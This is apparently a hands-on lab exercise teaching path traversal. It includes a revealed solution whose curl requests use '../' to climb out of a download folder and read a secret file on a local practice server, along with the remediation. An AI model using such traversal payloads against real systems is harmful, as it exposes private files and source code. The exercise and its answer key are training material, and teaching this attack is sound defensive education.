Escape the download folder
The /app/download endpoint opens whatever filename you give it, relative to its downloads folder. Use ../ to climb out and read the internal secret file, then capture the flag inside it. Save what you recover.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
Your ../ walked the filename out of the folder the app meant to confine you to, letting you read a file it never intended to serve. The same trick reaches system files and source code on real targets. Fix it by canonicalising the final path and rejecting anything that resolves outside the allowed base directory.
Show solution
cd /home/student
curl -s 'http://127.0.0.1:8080/app/download?file=welcome.txt'
curl -s 'http://127.0.0.1:8080/app/download?file=../private/secret.txt' -o secret.txt
cat secret.txt